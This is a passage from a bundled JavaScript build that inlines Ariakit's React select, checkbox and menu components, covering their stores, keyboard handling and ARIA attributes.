10938 onClickProp == null ? void 0 : onClickProp(event);
10939 if (event.defaultPrevented) return;
10940 queueMicrotask(() => {
10941 const select = store == null ? void 0 : store.getState().selectElement;
10942 select == null ? void 0 : select.focus();
10943 });
10944 });
10945 props = {
10946 id: id3,
10947 ...props,
10948 ref: useMergeRefs(store.setLabelElement, props.ref),
10949 onClick,
10950 style: {
10951 cursor: "default",
10952 ...props.style
10953 }
10954 };
10955 return removeUndefinedValues(props);
10956 }
10957 );
10958 var SelectLabel = memo2(
10959 forwardRef2(function SelectLabel2(props) {
10960 const htmlProps = useSelectLabel(props);
10961 return createElement(TagName44, htmlProps);
10962 })
10963 );
10964
10965 // node_modules/@ariakit/react-core/esm/__chunks/PFBP2CY4.js
10966 var import_react47 = __toESM(require_react(), 1);
10967 var import_jsx_runtime25 = __toESM(require_jsx_runtime(), 1);
10968 var TagName45 = "div";
10969 var SelectListContext = (0, import_react47.createContext)(null);
10970 var useSelectList = createHook(
10971 function useSelectList2({
10972 store,
10973 resetOnEscape = true,
10974 hideOnEnter = true,
10975 focusOnMove = true,
10976 composite,
10977 alwaysVisible,
10978 ...props
10979 }) {
10980 const context = useSelectContext();
10981 store = store || context;
10982 invariant(
10983 store,
10984 "SelectList must receive a `store` prop or be wrapped in a SelectProvider component."
10985 );
10986 const id3 = useId(props.id);
10987 const value = store.useState("value");
10988 const multiSelectable = Array.isArray(value);
10989 const [defaultValue2, setDefaultValue] = (0, import_react47.useState)(value);
10990 const mounted = store.useState("mounted");
10991 (0, import_react47.useEffect)(() => {
10992 if (mounted) return;
10993 setDefaultValue(value);
10994 }, [mounted, value]);
10995 resetOnEscape = resetOnEscape && !multiSelectable;
10996 const onKeyDownProp = props.onKeyDown;
10997 const resetOnEscapeProp = useBooleanEvent(resetOnEscape);
10998 const hideOnEnterProp = useBooleanEvent(hideOnEnter);
10999 const onKeyDown = useEvent((event) => {
11000 onKeyDownProp == null ? void 0 : onKeyDownProp(event);
11001 if (event.defaultPrevented) return;
11002 if (event.key === "Escape" && resetOnEscapeProp(event)) {
11003 store == null ? void 0 : store.setValue(defaultValue2);
11004 }
11005 if (event.key === " " || event.key === "Enter") {
11006 if (isSelfTarget(event) && hideOnEnterProp(event)) {
11007 event.preventDefault();
11008 store == null ? void 0 : store.hide();
11009 }
11010 }
11011 });
11012 const headingContext = (0, import_react47.useContext)(SelectHeadingContext);
11013 const headingState = (0, import_react47.useState)();
11014 const [headingId, setHeadingId] = headingContext || headingState;
11015 const headingContextValue = (0, import_react47.useMemo)(
11016 () => [headingId, setHeadingId],
11017 [headingId]
11018 );
11019 const [childStore, setChildStore] = (0, import_react47.useState)(null);
11020 const setStore = (0, import_react47.useContext)(SelectListContext);
11021 (0, import_react47.useEffect)(() => {
11022 if (!setStore) return;
11023 setStore(store);
11024 return () => setStore(null);
11025 }, [setStore, store]);
11026 props = useWrapElement(
11027 props,
11028 (element2) => /* @__PURE__ */ (0, import_jsx_runtime25.jsx)(SelectScopedContextProvider, { value: store, children: /* @__PURE__ */ (0, import_jsx_runtime25.jsx)(SelectListContext.Provider, { value: setChildStore, children: /* @__PURE__ */ (0, import_jsx_runtime25.jsx)(SelectHeadingContext.Provider, { value: headingContextValue, children: element2 }) }) }),
11029 [store, headingContextValue]
11030 );
11031 const hasCombobox = !!store.combobox;
11032 composite = composite != null ? composite : !hasCombobox && childStore !== store;
11033 const [element, setElement] = useTransactionState(
11034 composite ? store.setListElement : null
11035 );
11036 const role = useAttribute(element, "role", props.role);
11037 const isCompositeRole = role === "listbox" || role === "menu" || role === "tree" || role === "grid";
11038 const ariaMultiSelectable = composite || isCompositeRole ? multiSelectable || void 0 : void 0;
11039 const hidden = isHidden(mounted, props.hidden, alwaysVisible);
11040 const style2 = hidden ? { ...props.style, display: "none" } : props.style;
11041 if (composite) {
11042 props = {
11043 role: "listbox",
11044 "aria-multiselectable": ariaMultiSelectable,
11045 ...props
11046 };
11047 }
11048 const labelId = store.useState(
11049 (state) => {
11050 var _a;
11051 return headingId || ((_a = state.labelElement) == null ? void 0 : _a.id);
11052 }
11053 );
11054 props = {
11055 id: id3,
11056 "aria-labelledby": labelId,
11057 hidden,
11058 ...props,
11059 ref: useMergeRefs(setElement, props.ref),
11060 style: style2,
11061 onKeyDown
11062 };
11063 props = useComposite({ store, ...props, composite });
11064 props = useCompositeTypeahead({ store, typeahead: !hasCombobox, ...props });
11065 return props;
11066 }
11067 );
11068 var SelectList = forwardRef2(function SelectList2(props) {
11069 const htmlProps = useSelectList(props);
11070 return createElement(TagName45, htmlProps);
11071 });
11072
11073 // node_modules/@ariakit/react-core/esm/select/select-popover.js
11074 var TagName46 = "div";
11075 var useSelectPopover = createHook(
11076 function useSelectPopover2({ store, alwaysVisible, ...props }) {
11077 const context = useSelectProviderContext();
11078 store = store || context;
11079 props = useSelectList({ store, alwaysVisible, ...props });
11080 props = usePopover({ store, alwaysVisible, ...props });
11081 return props;
11082 }
11083 );
11084 var SelectPopover = createDialogComponent(
11085 forwardRef2(function SelectPopover2(props) {
11086 const htmlProps = useSelectPopover(props);
11087 return createElement(TagName46, htmlProps);
11088 }),
11089 useSelectProviderContext
11090 );
11091
11092 // node_modules/@ariakit/core/esm/select/select-store.js
11093 function createSelectStore({
11094 combobox,
11095 ...props
11096 } = {}) {
11097 const store = mergeStore(
11098 props.store,
11099 omit2(combobox, [
11100 "value",
11101 "items",
11102 "renderedItems",
11103 "baseElement",
11104 "arrowElement",
11105 "anchorElement",
11106 "contentElement",
11107 "popoverElement",
11108 "disclosureElement"
11109 ])
11110 );
11111 throwOnConflictingProps(props, store);
11112 const syncState = store.getState();
11113 const composite = createCompositeStore({
11114 ...props,
11115 store,
11116 virtualFocus: defaultValue(
11117 props.virtualFocus,
11118 syncState.virtualFocus,
11119 true
11120 ),
11121 includesBaseElement: defaultValue(
11122 props.includesBaseElement,
11123 syncState.includesBaseElement,
11124 false
11125 ),
11126 activeId: defaultValue(
11127 props.activeId,
11128 syncState.activeId,
11129 props.defaultActiveId,
11130 null
11131 ),
11132 orientation: defaultValue(
11133 props.orientation,
11134 syncState.orientation,
11135 "vertical"
11136 )
11137 });
11138 const popover = createPopoverStore({
11139 ...props,
11140 store,
11141 placement: defaultValue(
11142 props.placement,
11143 syncState.placement,
11144 "bottom-start"
11145 )
11146 });
11147 const initialValue2 = new String("");
11148 const initialState = {
11149 ...composite.getState(),
11150 ...popover.getState(),
11151 value: defaultValue(
11152 props.value,
11153 syncState.value,
11154 props.defaultValue,
11155 initialValue2
11156 ),
11157 setValueOnMove: defaultValue(
11158 props.setValueOnMove,
11159 syncState.setValueOnMove,
11160 false
11161 ),
11162 labelElement: defaultValue(syncState.labelElement, null),
11163 selectElement: defaultValue(syncState.selectElement, null),
11164 listElement: defaultValue(syncState.listElement, null)
11165 };
11166 const select = createStore(initialState, composite, popover, store);
11167 setup(
11168 select,
11169 () => sync(select, ["value", "items"], (state) => {
11170 if (state.value !== initialValue2) return;
11171 if (!state.items.length) return;
11172 const item2 = state.items.find(
11173 (item22) => !item22.disabled && item22.value != null
11174 );
11175 if ((item2 == null ? void 0 : item2.value) == null) return;
11176 select.setState("value", item2.value);
11177 })
11178 );
11179 setup(
11180 select,
11181 () => sync(select, ["mounted"], (state) => {
11182 if (state.mounted) return;
11183 select.setState("activeId", initialState.activeId);
11184 })
11185 );
11186 setup(
11187 select,
11188 () => sync(select, ["mounted", "items", "value"], (state) => {
11189 if (combobox) return;
11190 if (state.mounted) return;
11191 const values = toArray(state.value);
11192 const lastValue = values[values.length - 1];
11193 if (lastValue == null) return;
11194 const item2 = state.items.find(
11195 (item22) => !item22.disabled && item22.value === lastValue
11196 );
11197 if (!item2) return;
11198 select.setState("activeId", item2.id);
11199 })
11200 );
11201 setup(
11202 select,
11203 () => batch(select, ["setValueOnMove", "moves"], (state) => {
11204 const { mounted, value, activeId } = select.getState();
11205 if (!state.setValueOnMove && mounted) return;
11206 if (Array.isArray(value)) return;
11207 if (!state.moves) return;
11208 if (!activeId) return;
11209 const item2 = composite.item(activeId);
11210 if (!item2 || item2.disabled || item2.value == null) return;
11211 select.setState("value", item2.value);
11212 })
11213 );
11214 return {
11215 ...composite,
11216 ...popover,
11217 ...select,
11218 combobox,
11219 setValue: (value) => select.setState("value", value),
11220 setLabelElement: (element) => select.setState("labelElement", element),
11221 setSelectElement: (element) => select.setState("selectElement", element),
11222 setListElement: (element) => select.setState("listElement", element)
11223 };
11224 }
11225
11226 // node_modules/@ariakit/react-core/esm/__chunks/HVWMDOZM.js
11227 function useSelectStoreOptions(props) {
11228 const combobox = useComboboxProviderContext();
11229 props = {
11230 ...props,
11231 combobox: props.combobox !== void 0 ? props.combobox : combobox
11232 };
11233 return useCompositeStoreOptions(props);
11234 }
11235 function useSelectStoreProps(store, update, props) {
11236 useUpdateEffect(update, [props.combobox]);
11237 useStoreProps(store, props, "value", "setValue");
11238 useStoreProps(store, props, "setValueOnMove");
11239 return Object.assign(
11240 usePopoverStoreProps(
11241 useCompositeStoreProps(store, update, props),
11242 update,
11243 props
11244 ),
11245 { combobox: props.combobox }
11246 );
11247 }
11248 function useSelectStore(props = {}) {
11249 props = useSelectStoreOptions(props);
11250 const [store, update] = useStore(createSelectStore, props);
11251 return useSelectStoreProps(store, update, props);
11252 }
11253
11254 // node_modules/@ariakit/react-core/esm/__chunks/HLPY2PXK.js
11255 var import_react48 = __toESM(require_react(), 1);
11256 var import_jsx_runtime26 = __toESM(require_jsx_runtime(), 1);
11257 var TagName47 = "div";
11258 var useCompositeRow = createHook(
11259 function useCompositeRow2({
11260 store,
11261 "aria-setsize": ariaSetSize,
11262 "aria-posinset": ariaPosInSet,
11263 ...props
11264 }) {
11265 const context = useCompositeContext();
11266 store = store || context;
11267 invariant(
11268 store,
11269 "CompositeRow must be wrapped in a Composite component."
11270 );
11271 const id3 = useId(props.id);
11272 const baseElement = store.useState(
11273 (state) => state.baseElement || void 0
11274 );
11275 const providerValue = (0, import_react48.useMemo)(
11276 () => ({ id: id3, baseElement, ariaSetSize, ariaPosInSet }),
11277 [id3, baseElement, ariaSetSize, ariaPosInSet]
11278 );
11279 props = useWrapElement(
11280 props,
11281 (element) => /* @__PURE__ */ (0, import_jsx_runtime26.jsx)(CompositeRowContext.Provider, { value: providerValue, children: element }),
11282 [providerValue]
11283 );
11284 props = { id: id3, ...props };
11285 return removeUndefinedValues(props);
11286 }
11287 );
11288 var CompositeRow = forwardRef2(function CompositeRow2(props) {
11289 const htmlProps = useCompositeRow(props);
11290 return createElement(TagName47, htmlProps);
11291 });
11292
11293 // node_modules/@ariakit/core/esm/checkbox/checkbox-store.js
11294 function createCheckboxStore(props = {}) {
11295 var _a;
11296 throwOnConflictingProps(props, props.store);
11297 const syncState = (_a = props.store) == null ? void 0 : _a.getState();
11298 const initialState = {
11299 value: defaultValue(
11300 props.value,
11301 syncState == null ? void 0 : syncState.value,
11302 props.defaultValue,
11303 false
11304 )
11305 };
11306 const checkbox = createStore(initialState, props.store);
11307 return {
11308 ...checkbox,
11309 setValue: (value) => checkbox.setState("value", value)
11310 };
11311 }
11312
11313 // node_modules/@ariakit/react-core/esm/__chunks/ALZMXNL4.js
11314 function useCheckboxStoreProps(store, update, props) {
11315 useUpdateEffect(update, [props.store]);
11316 useStoreProps(store, props, "value", "setValue");
11317 return store;
11318 }
11319 function useCheckboxStore(props = {}) {
11320 const [store, update] = useStore(createCheckboxStore, props);
11321 return useCheckboxStoreProps(store, update, props);
11322 }
11323
11324 // node_modules/@ariakit/react-core/esm/__chunks/ZVXT4QFT.js
11325 var ctx13 = createStoreContext();
11326 var useCheckboxContext = ctx13.useContext;
11327 var useCheckboxScopedContext = ctx13.useScopedContext;
11328 var useCheckboxProviderContext = ctx13.useProviderContext;
11329 var CheckboxContextProvider = ctx13.ContextProvider;
11330 var CheckboxScopedContextProvider = ctx13.ScopedContextProvider;
11331
11332 // node_modules/@ariakit/react-core/esm/__chunks/I7KWAPMF.js
11333 var import_react49 = __toESM(require_react(), 1);
11334 var import_jsx_runtime27 = __toESM(require_jsx_runtime(), 1);
11335 var TagName48 = "input";
11336 function setMixed(element, mixed) {
11337 if (mixed) {
11338 element.indeterminate = true;
11339 } else if (element.indeterminate) {
11340 element.indeterminate = false;
11341 }
11342 }
11343 function isNativeCheckbox(tagName, type) {
11344 return tagName === "input" && (!type || type === "checkbox");
11345 }
11346 function getPrimitiveValue(value) {
11347 if (Array.isArray(value)) {
11348 return value.toString();
11349 }
11350 return value;
11351 }
11352 var useCheckbox = createHook(
11353 function useCheckbox2({
11354 store,
11355 name,
11356 value: valueProp,
11357 checked: checkedProp,
11358 defaultChecked,
11359 ...props
11360 }) {
11361 const context = useCheckboxContext();
11362 store = store || context;
11363 const [_checked, setChecked] = (0, import_react49.useState)(defaultChecked != null ? defaultChecked : false);
11364 const checked = useStoreState(store, (state) => {
11365 if (checkedProp !== void 0) return checkedProp;
11366 if ((state == null ? void 0 : state.value) === void 0) return _checked;
11367 if (valueProp != null) {
11368 if (Array.isArray(state.value)) {
11369 const primitiveValue = getPrimitiveValue(valueProp);
11370 return state.value.includes(primitiveValue);
11371 }
11372 return state.value === valueProp;
11373 }
11374 if (Array.isArray(state.value)) return false;
11375 if (typeof state.value === "boolean") return state.value;
11376 return false;
11377 });
11378 const ref = (0, import_react49.useRef)(null);
11379 const tagName = useTagName(ref, TagName48);
11380 const nativeCheckbox = isNativeCheckbox(tagName, props.type);
11381 const mixed = checked ? checked === "mixed" : void 0;
11382 const isChecked = checked === "mixed" ? false : checked;
11383 const disabled = disabledFromProps(props);
11384 const [propertyUpdated, schedulePropertyUpdate] = useForceUpdate();
11385 (0, import_react49.useEffect)(() => {
11386 const element = ref.current;
11387 if (!element) return;
11388 setMixed(element, mixed);
11389 if (nativeCheckbox) return;
11390 element.checked = isChecked;
11391 if (name !== void 0) {
11392 element.name = name;
11393 }
11394 if (valueProp !== void 0) {
11395 element.value = `${valueProp}`;
11396 }
11397 }, [propertyUpdated, mixed, nativeCheckbox, isChecked, name, valueProp]);
11398 const onChangeProp = props.onChange;
11399 const onChange = useEvent((event) => {
11400 if (disabled) {
11401 event.stopPropagation();
11402 event.preventDefault();
11403 return;
11404 }
11405 setMixed(event.currentTarget, mixed);
11406 if (!nativeCheckbox) {
11407 event.currentTarget.checked = !event.currentTarget.checked;
11408 schedulePropertyUpdate();
11409 }
11410 onChangeProp == null ? void 0 : onChangeProp(event);
11411 if (event.defaultPrevented) return;
11412 const elementChecked = event.currentTarget.checked;
11413 setChecked(elementChecked);
11414 store == null ? void 0 : store.setValue((prevValue) => {
11415 if (valueProp == null) return elementChecked;
11416 const primitiveValue = getPrimitiveValue(valueProp);
11417 if (!Array.isArray(prevValue)) {
11418 return prevValue === primitiveValue ? false : primitiveValue;
11419 }
11420 if (elementChecked) {
11421 if (prevValue.includes(primitiveValue)) {
11422 return prevValue;
11423 }
11424 return [...prevValue, primitiveValue];
11425 }
11426 return prevValue.filter((v3) => v3 !== primitiveValue);
11427 });
11428 });
11429 const onClickProp = props.onClick;
11430 const onClick = useEvent((event) => {
11431 onClickProp == null ? void 0 : onClickProp(event);
11432 if (event.defaultPrevented) return;
11433 if (nativeCheckbox) return;
11434 onChange(event);
11435 });
11436 props = useWrapElement(
11437 props,
11438 (element) => /* @__PURE__ */ (0, import_jsx_runtime27.jsx)(CheckboxCheckedContext.Provider, { value: isChecked, children: element }),
11439 [isChecked]
11440 );
11441 props = {
11442 role: !nativeCheckbox ? "checkbox" : void 0,
11443 type: nativeCheckbox ? "checkbox" : void 0,
11444 "aria-checked": checked,
11445 ...props,
11446 ref: useMergeRefs(ref, props.ref),
11447 onChange,
11448 onClick
11449 };
11450 props = useCommand({ clickOnEnter: !nativeCheckbox, ...props });
11451 return removeUndefinedValues({
11452 name: nativeCheckbox ? name : void 0,
11453 value: nativeCheckbox ? valueProp : void 0,
11454 checked: isChecked,
11455 ...props
11456 });
11457 }
11458 );
11459 var Checkbox = forwardRef2(function Checkbox2(props) {
11460 const htmlProps = useCheckbox(props);
11461 return createElement(TagName48, htmlProps);
11462 });
11463
11464 // node_modules/@ariakit/react-core/esm/__chunks/Z4X7TRJU.js
11465 var import_react50 = __toESM(require_react(), 1);
11466 var menu = createStoreContext(
11467 [CompositeContextProvider, HovercardContextProvider],
11468 [CompositeScopedContextProvider, HovercardScopedContextProvider]
11469 );
11470 var useMenuContext = menu.useContext;
11471 var useMenuScopedContext = menu.useScopedContext;
11472 var useMenuProviderContext = menu.useProviderContext;
11473 var MenuContextProvider = menu.ContextProvider;
11474 var MenuScopedContextProvider = menu.ScopedContextProvider;
11475 var MenuItemCheckedContext2 = (0, import_react50.createContext)(
11476 void 0
11477 );
11478
11479 // node_modules/@ariakit/react-core/esm/__chunks/SVHPDYU7.js
11480 var import_react51 = __toESM(require_react(), 1);
11481 var import_jsx_runtime28 = __toESM(require_jsx_runtime(), 1);
11482 var TagName49 = "div";
11483 function useAriaLabelledBy({ store, ...props }) {
11484 const [id3, setId] = (0, import_react51.useState)(void 0);
11485 const label = props["aria-label"];
11486 const disclosureElement = useStoreState(store, "disclosureElement");
11487 const contentElement = useStoreState(store, "contentElement");
11488 (0, import_react51.useEffect)(() => {
11489 const disclosure = disclosureElement;
11490 if (!disclosure) return;
11491 const menu2 = contentElement;
11492 if (!menu2) return;
11493 const menuLabel = label || menu2.hasAttribute("aria-label");
11494 if (menuLabel) {
11495 setId(void 0);
11496 } else if (disclosure.id) {
11497 setId(disclosure.id);
11498 }
11499 }, [label, disclosureElement, contentElement]);
11500 return id3;
11501 }
11502 var useMenuList = createHook(
11503 function useMenuList2({ store, alwaysVisible, composite, ...props }) {
11504 const context = useMenuProviderContext();
11505 store = store || context;
11506 invariant(
11507 store,
11508 "MenuList must receive a `store` prop or be wrapped in a MenuProvider component."
11509 );
11510 const parentMenu = store.parent;
11511 const parentMenubar = store.menubar;
11512 const hasParentMenu = !!parentMenu;
11513 const id3 = useId(props.id);
11514 const onKeyDownProp = props.onKeyDown;
11515 const dir = store.useState(
11516 (state) => state.placement.split("-")[0]
11517 );
11518 const orientation = store.useState(
11519 (state) => state.orientation === "both" ? void 0 : state.orientation
11520 );
11521 const isHorizontal = orientation !== "vertical";
11522 const isMenubarHorizontal = useStoreState(
11523 parentMenubar,
11524 (state) => !!state && state.orientation !== "vertical"
11525 );
11526 const onKeyDown = useEvent((event) => {
11527 onKeyDownProp == null ? void 0 : onKeyDownProp(event);
11528 if (event.defaultPrevented) return;
11529 if (hasParentMenu || parentMenubar && !isHorizontal) {
11530 const hideMap = {
11531 ArrowRight: () => dir === "left" && !isHorizontal,
11532 ArrowLeft: () => dir === "right" && !isHorizontal,
11533 ArrowUp: () => dir === "bottom" && isHorizontal,
11534 ArrowDown: () => dir === "top" && isHorizontal
11535 };
11536 const action = hideMap[event.key];
11537 if (action == null ? void 0 : action()) {
11538 event.stopPropagation();
11539 event.preventDefault();
11540 return store == null ? void 0 : store.hide();
11541 }
11542 }
11543 if (parentMenubar) {
11544 const keyMap = {
11545 ArrowRight: () => {
11546 if (!isMenubarHorizontal) return;
11547 return parentMenubar.next();
11548 },
11549 ArrowLeft: () => {
11550 if (!isMenubarHorizontal) return;
11551 return parentMenubar.previous();
11552 },
11553 ArrowDown: () => {
11554 if (isMenubarHorizontal) return;
11555 return parentMenubar.next();
11556 },
11557 ArrowUp: () => {
11558 if (isMenubarHorizontal) return;
11559 return parentMenubar.previous();
11560 }
11561 };
11562 const action = keyMap[event.key];
11563 const id22 = action == null ? void 0 : action();
11564 if (id22 !== void 0) {
11565 event.stopPropagation();
11566 event.preventDefault();
11567 parentMenubar.move(id22);
11568 }
11569 }
11570 });
11571 props = useWrapElement(
11572 props,
11573 (element) => /* @__PURE__ */ (0, import_jsx_runtime28.jsx)(MenuScopedContextProvider, { value: store, children: element }),
11574 [store]
11575 );
11576 const ariaLabelledBy = useAriaLabelledBy({ store, ...props });
11577 const mounted = store.useState("mounted");
11578 const hidden = isHidden(mounted, props.hidden, alwaysVisible);
11579 const style2 = hidden ? { ...props.style, display: "none" } : props.style;
11580 props = {
11581 id: id3,
11582 "aria-labelledby": ariaLabelledBy,
11583 hidden,
11584 ...props,
11585 ref: useMergeRefs(id3 ? store.setContentElement : null, props.ref),
11586 style: style2,
11587 onKeyDown
11588 };
11589 const hasCombobox = !!store.combobox;
11590 composite = composite != null ? composite : !hasCombobox;
11591 if (composite) {
11592 props = {
11593 role: "menu",
11594 "aria-orientation": orientation,
11595 ...props
11596 };
11597 }
11598 props = useComposite({ store, composite, ...props });
11599 props = useCompositeTypeahead({ store, typeahead: !hasCombobox, ...props });
11600 return props;
11601 }
11602 );
11603 var MenuList = forwardRef2(function MenuList2(props) {
11604 const htmlProps = useMenuList(props);
11605 return createElement(TagName49, htmlProps);
11606 });
11607
11608 // node_modules/@ariakit/react-core/esm/menu/menu.js
11609 var import_react52 = __toESM(require_react(), 1);
11610 var TagName50 = "div";
11611 var useMenu = createHook(function useMenu2({
11612 store,
11613 modal: modalProp = false,
11614 portal = !!modalProp,
11615 hideOnEscape = true,
11616 autoFocusOnShow = true,
11617 hideOnHoverOutside,
11618 alwaysVisible,
11619 ...props
11620 }) {
11621 const context = useMenuProviderContext();
11622 store = store || context;
11623 invariant(
11624 store,
11625 "Menu must receive a `store` prop or be wrapped in a MenuProvider component."
11626 );
11627 const ref = (0, import_react52.useRef)(null);
11628 const parentMenu = store.parent;
11629 const parentMenubar = store.menubar;
11630 const hasParentMenu = !!parentMenu;
11631 const parentIsMenubar = !!parentMenubar && !hasParentMenu;
11632 props = {
11633 ...props,
11634 ref: useMergeRefs(ref, props.ref)
11635 };
11636 const { "aria-labelledby": ariaLabelledBy, ...menuListProps } = useMenuList({
11637 store,
11638 alwaysVisible,
11639 ...props
11640 });
11641 props = menuListProps;
11642 const [initialFocusRef, setInitialFocusRef] = (0, import_react52.useState)();
11643 const autoFocusOnShowState = store.useState("autoFocusOnShow");
11644 const initialFocus = store.useState("initialFocus");
11645 const baseElement = store.useState("baseElement");
11646 const items = store.useState("renderedItems");
11647 (0, import_react52.useEffect)(() => {
11648 let cleaning = false;
11649 setInitialFocusRef((prevInitialFocusRef) => {
11650 var _a, _b, _c;
11651 if (cleaning) return;
11652 if (!autoFocusOnShowState) return;
11653 if ((_a = prevInitialFocusRef == null ? void 0 : prevInitialFocusRef.current) == null ? void 0 : _a.isConnected) return prevInitialFocusRef;
11654 const ref2 = (0, import_react52.createRef)();
11655 switch (initialFocus) {
11656 // TODO: Refactor
11657 case "first":
11658 ref2.current = ((_b = items.find((item2) => !item2.disabled && item2.element)) == null ? void 0 : _b.element) || null;
11659 break;
11660 case "last":
11661 ref2.current = ((_c = [...items].reverse().find((item2) => !item2.disabled && item2.element)) == null ? void 0 : _c.element) || null;
11662 break;
11663 default:
11664 ref2.current = baseElement;
11665 }
11666 return ref2;
11667 });
11668 return () => {
11669 cleaning = true;
11670 };
11671 }, [store, autoFocusOnShowState, initialFocus, items, baseElement]);
11672 const modal = hasParentMenu ? false : modalProp;
11673 const mayAutoFocusOnShow = !!autoFocusOnShow;
11674 const canAutoFocusOnShow = !!initialFocusRef || !!props.initialFocus || !!modal;
11675 const contentElement = useStoreState(
11676 store.combobox || store,
11677 "contentElement"
11678 );
11679 const parentContentElement = useStoreState(
11680 (parentMenu == null ? void 0 : parentMenu.combobox) || parentMenu,
11681 "contentElement"
11682 );
11683 const preserveTabOrderAnchor = (0, import_react52.useMemo)(() => {
11684 if (!parentContentElement) return;
11685 if (!contentElement) return;
11686 const role = contentElement.getAttribute("role");
11687 const parentRole = parentContentElement.getAttribute("role");
11688 const parentIsMenuOrMenubar = parentRole === "menu" || parentRole === "menubar";
11689 if (parentIsMenuOrMenubar && role === "menu") return;
11690 return parentContentElement;
11691 }, [contentElement, parentContentElement]);
11692 if (preserveTabOrderAnchor !== void 0) {
11693 props = {
11694 preserveTabOrderAnchor,
11695 ...props
11696 };
11697 }
11698 props = useHovercard({
11699 store,
11700 alwaysVisible,
11701 initialFocus: initialFocusRef,
11702 autoFocusOnShow: mayAutoFocusOnShow ? canAutoFocusOnShow && autoFocusOnShow : autoFocusOnShowState || !!modal,
11703 ...props,
11704 hideOnEscape(event) {
11705 if (isFalsyBooleanCallback(hideOnEscape, event)) return false;
11706 store == null ? void 0 : store.hideAll();
11707 return true;
11708 },
11709 hideOnHoverOutside(event) {
11710 const disclosureElement = store == null ? void 0 : store.getState().disclosureElement;
11711 const getHideOnHoverOutside = () => {
11712 if (typeof hideOnHoverOutside === "function") {
11713 return hideOnHoverOutside(event);
11714 }
11715 if (hideOnHoverOutside != null) return hideOnHoverOutside;
11716 if (hasParentMenu) return true;
11717 if (!parentIsMenubar) return false;
11718 if (!disclosureElement) return true;
11719 if (hasFocusWithin(disclosureElement)) return false;
11720 return true;
11721 };
11722 if (!getHideOnHoverOutside()) return false;
11723 if (event.defaultPrevented) return true;
11724 if (!hasParentMenu) return true;
11725 if (!disclosureElement) return true;
11726 fireEvent(disclosureElement, "mouseout", event);
11727 if (!hasFocusWithin(disclosureElement)) return true;
11728 requestAnimationFrame(() => {
11729 if (hasFocusWithin(disclosureElement)) return;
11730 store == null ? void 0 : store.hide();
11731 });
11732 return false;
11733 },
11734 modal,
11735 portal,
11736 backdrop: hasParentMenu ? false : props.backdrop
11737 });
11738 props = {
11739 "aria-labelledby": ariaLabelledBy,
11740 ...props
11741 };
11742 return props;
11743 });
11744 var Menu = createDialogComponent(
11745 forwardRef2(function Menu2(props) {
11746 const htmlProps = useMenu(props);
11747 return createElement(TagName50, htmlProps);
11748 }),
11749 useMenuProviderContext
11750 );
11751
11752 // node_modules/@ariakit/react-core/esm/menu/menu-button.js
11753 var import_react53 = __toESM(require_react(), 1);
11754 var import_jsx_runtime29 = __toESM(require_jsx_runtime(), 1);
11755 var TagName51 = "button";
11756 function getInitialFocus(event, dir) {
11757 const keyMap = {
11758 ArrowDown: dir === "bottom" || dir === "top" ? "first" : false,
11759 ArrowUp: dir === "bottom" || dir === "top" ? "last" : false,
11760 ArrowRight: dir === "right" ? "first" : false,
11761 ArrowLeft: dir === "left" ? "first" : false
11762 };
11763 return keyMap[event.key];
11764 }
11765 function hasActiveItem(items, excludeElement) {
11766 return !!(items == null ? void 0 : items.some((item2) => {
11767 if (!item2.element) return false;
11768 if (item2.element === excludeElement) return false;
11769 return item2.element.getAttribute("aria-expanded") === "true";
11770 }));
11771 }
11772 var useMenuButton = createHook(
11773 function useMenuButton2({
11774 store,
11775 focusable,
11776 accessibleWhenDisabled,
11777 showOnHover,
11778 ...props
11779 }) {
11780 const context = useMenuProviderContext();
11781 store = store || context;
11782 invariant(
11783 store,
11784 "MenuButton must receive a `store` prop or be wrapped in a MenuProvider component."
11785 );
11786 const ref = (0, import_react53.useRef)(null);
11787 const parentMenu = store.parent;
11788 const parentMenubar = store.menubar;
11789 const hasParentMenu = !!parentMenu;
11790 const parentIsMenubar = !!parentMenubar && !hasParentMenu;
11791 const disabled = disabledFromProps(props);
11792 const showMenu = () => {
11793 const trigger = ref.current;
11794 if (!trigger) return;
11795 store == null ? void 0 : store.setDisclosureElement(trigger);
11796 store == null ? void 0 : store.setAnchorElement(trigger);
11797 store == null ? void 0 : store.show();
11798 };
11799 const onFocusProp = props.onFocus;
11800 const onFocus = useEvent((event) => {
11801 onFocusProp == null ? void 0 : onFocusProp(event);
11802 if (disabled) return;
11803 if (event.defaultPrevented) return;
11804 store == null ? void 0 : store.setAutoFocusOnShow(false);
11805 store == null ? void 0 : store.setActiveId(null);
11806 if (!parentMenubar) return;
11807 if (!parentIsMenubar) return;
11808 const { items } = parentMenubar.getState();
11809 if (hasActiveItem(items, event.currentTarget)) {
11810 showMenu();
11811 }
11812 });
11813 const dir = useStoreState(
11814 store,
11815 (state) => state.placement.split("-")[0]
11816 );
11817 const onKeyDownProp = props.onKeyDown;
11818 const onKeyDown = useEvent((event) => {
11819 onKeyDownProp == null ? void 0 : onKeyDownProp(event);
11820 if (disabled) return;
11821 if (event.defaultPrevented) return;
11822 const initialFocus = getInitialFocus(event, dir);
11823 if (initialFocus) {
11824 event.preventDefault();
11825 showMenu();
11826 store == null ? void 0 : store.setAutoFocusOnShow(true);
11827 store == null ? void 0 : store.setInitialFocus(initialFocus);
11828 }
11829 });
11830 const onClickProp = props.onClick;
11831 const onClick = useEvent((event) => {
11832 onClickProp == null ? void 0 : onClickProp(event);
11833 if (event.defaultPrevented) return;
11834 if (!store) return;
11835 const isKeyboardClick = !event.detail;
11836 const { open } = store.getState();
11837 if (!open || isKeyboardClick) {
11838 if (!hasParentMenu || isKeyboardClick) {
11839 store.setAutoFocusOnShow(true);
11840 }
11841 store.setInitialFocus(isKeyboardClick ? "first" : "container");
11842 }
11843 if (hasParentMenu) {
11844 showMenu();
11845 }
11846 });
11847 props = useWrapElement(
11848 props,
11849 (element) => /* @__PURE__ */ (0, import_jsx_runtime29.jsx)(MenuContextProvider, { value: store, children: element }),
11850 [store]
11851 );
11852 if (hasParentMenu) {
11853 props = {
11854 ...props,
11855 render: /* @__PURE__ */ (0, import_jsx_runtime29.jsx)(Role.div, { render: props.render })
11856 };
11857 }
11858 const id3 = useId(props.id);
11859 const parentContentElement = useStoreState(
11860 (parentMenu == null ? void 0 : parentMenu.combobox) || parentMenu,
11861 "contentElement"
11862 );
11863 const role = hasParentMenu || parentIsMenubar ? getPopupItemRole(parentContentElement, "menuitem") : void 0;
11864 const contentElement = store.useState("contentElement");
11865 props = {
11866 id: id3,
11867 role,
11868 "aria-haspopup": getPopupRole(contentElement, "menu"),
11869 ...props,
11870 ref: useMergeRefs(ref, props.ref),
11871 onFocus,
11872 onKeyDown,
11873 onClick
